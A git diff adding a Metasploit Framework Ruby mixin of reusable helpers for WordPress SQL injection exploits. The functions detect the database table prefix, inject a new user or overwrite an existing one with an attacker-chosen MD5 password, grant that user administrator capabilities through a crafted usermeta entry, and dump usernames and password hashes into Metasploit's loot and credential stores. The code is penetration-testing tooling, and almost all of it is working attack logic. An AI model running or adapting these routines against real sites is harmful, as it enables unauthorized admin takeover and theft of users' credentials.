diff --git a/lib/msf/core/exploit/remote/http/wordpress/sqli.rb b/lib/msf/core/exploit/remote/http/wordpress/sqli.rb new file mode 100644 index 000000000000..7777e0fbf04a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/wordpress/sqli.rb @@ -0,0 +1,200 @@ +module Msf + # This module provides reusable SQLi (SQL Injection) helper functions + # for WordPress exploits in Metasploit Framework. These functions allow + # for actions such as creating new users, granting privileges, and + # dumping user credentials via SQL injection vulnerabilities in WordPress. + # + # Usage: + # Include this module in your exploit or auxiliary module and use + # the provided functions to simplify SQL injection logic. + module Exploit::Remote::HTTP::Wordpress::SQLi + include Msf::Exploit::SQLi + + # Function to initialize the SQLi instance in the mixin. + # + # This function sets up the SQLi instance that is initialized in the exploit module. + # The SQLi instance is passed as a parameter to ensure it is accessible within the mixin + # and can be used for executing SQL injection queries. + # + # @param sqli [Object] The SQLi instance initialized in the exploit module. + # @return [void] + def wordpress_sqli_initialize(sqli) + @sqli = sqli + @prefix = wordpress_sqli_identify_table_prefix + end + + # Inject an user into the WordPress database, creating or updating an entry. + # + # This method either creates a new user entry in the 'users' table or updates an existing one. + # If the user already exists, their password, nicename, email, and display name will be updated. + # Otherwise, a new user will be created with the provided credentials and default values. + # The password is hashed using MD5 for compatibility with older WordPress versions. + # + # @param username [String] The username for the new or updated user. + # @param password [String] The password for the new user (stored as an MD5 hash). + # @param email [String] The email for the new user. + # @return [void] + def wordpress_sqli_create_user(username, password, email) + query = <<-SQL + INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) + SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}' + FROM #{@prefix}users + WHERE NOT EXISTS ( + SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}' + ) + LIMIT 1 + ON DUPLICATE KEY UPDATE + user_pass = MD5('#{password}'), + user_nicename = '#{username}', + user_email = '#{email}', + display_name = '#{username}' + SQL + + @sqli.raw_run_sql(query.strip.gsub(/\s+/, ' ')) + + vprint_status("{WPSQLi} User '#{username}' created or updated successfully.") + end + + # Grant admin privileges to the specified user by creating or updating the appropriate meta entry. + # + # This method either creates a new entry in the 'usermeta' table or updates an existing one + # to grant administrator capabilities to the specified user. If the entry for the user's + # capabilities already exists, it will be updated to assign administrator privileges. + # If the entry does not exist, a new one will be created. + # + # @param username [String] The username of the user to grant privileges to. + # @return [void] + def wordpress_sqli_grant_admin_privileges(username) + admin_query = <<-SQL + INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value) + SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}' + FROM #{@prefix}users + WHERE user_login = '#{username}' + ON DUPLICATE KEY UPDATE + meta_value = 'a:1:{s:13:"administrator";s:1:"1";}' + SQL + + @sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' ')) + vprint_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.") + end + + # Identify the table prefix for the WordPress installation + # + # @return [String] The detected table prefix + # @raise [Failure::UnexpectedReply] If the table prefix could not be detected + def wordpress_sqli_identify_table_prefix + indicator = rand(0..19) + random_alias = Rex::Text.rand_text_alpha(1..5) + default_prefix_check = "SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'" + result = @sqli.run_sql(default_prefix_check)&.to_i + + if result == indicator + vprint_status("{WPSQLi} Retrieved default table prefix: 'wp_'") + return 'wp_' + end + vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...') + + query = <<-SQL + SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users')) + FROM information_schema.tables + WHERE table_schema = database() + AND table_name LIKE '%\\_users' + AND (SELECT COUNT(*) + FROM information_schema.columns #{random_alias} + WHERE #{random_alias}.table_schema = tables.table_schema + AND #{random_alias}.table_name = tables.table_name + AND #{random_alias}.column_name IN ('user_login', 'user_pass') + ) = 2 + LIMIT 1 + SQL + + prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' ')) + unless prefix && !prefix.strip.empty? + print_error('{WPSQLi} Unable to detect the table prefix.') + return nil + end + + vprint_status("{WPSQLi} Custom table prefix detected: '#{prefix}'") + + prefix + end + + # Get users' credentials from the wp_users table + # + # @param count [Integer] The number of users to retrieve (default: 10) + # @return [Array] Array of arrays containing user login and password hash + def wordpress_sqli_get_users_credentials(count = 10) + columns = ['user_login', 'user_pass'] + data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count) + + table = Rex::Text::Table.new( + 'Header' => "#{@prefix}users", + 'Indent' => 4, + 'Columns' => columns + ) + + loot_data = '' + data.each do |user| + table << user + loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n" + + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: user[0], + private_type: :nonreplayable_hash, + jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]), + private_data: user[1], + service_name: 'WordPress', + address: datastore['RHOST'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + + vprint_good("{WPSQLi} Credential for user '#{user[0]}' created successfully.") + end + + vprint_status('{WPSQLi} Dumped user data:') + print_line(table.to_s) + + loot_path = store_loot( + 'wordpress.users', + 'text/plain', + datastore['RHOST'], + loot_data, + 'wp_users.txt', + 'WordPress Usernames and Password Hashes' + ) + + print_good("Loot saved to: #{loot_path}") + + vprint_status('{WPSQLi} Reporting host...') + report_host(host: datastore['RHOST']) + + vprint_status('{WPSQLi} Reporting service...') + report_service( + host: datastore['RHOST'], + port: datastore['RPORT'], + proto: 'tcp', + name: fullname, + info: description.strip + ) + + vprint_status('{WPSQLi} Reporting vulnerability...') + report_vuln( + host: datastore['RHOST'], + port: datastore['RPORT'], + proto: 'tcp', + name: fullname, + refs: references, + info: description.strip + ) + + vprint_good('{WPSQLi} Reporting completed successfully.') + + return data + end + end +end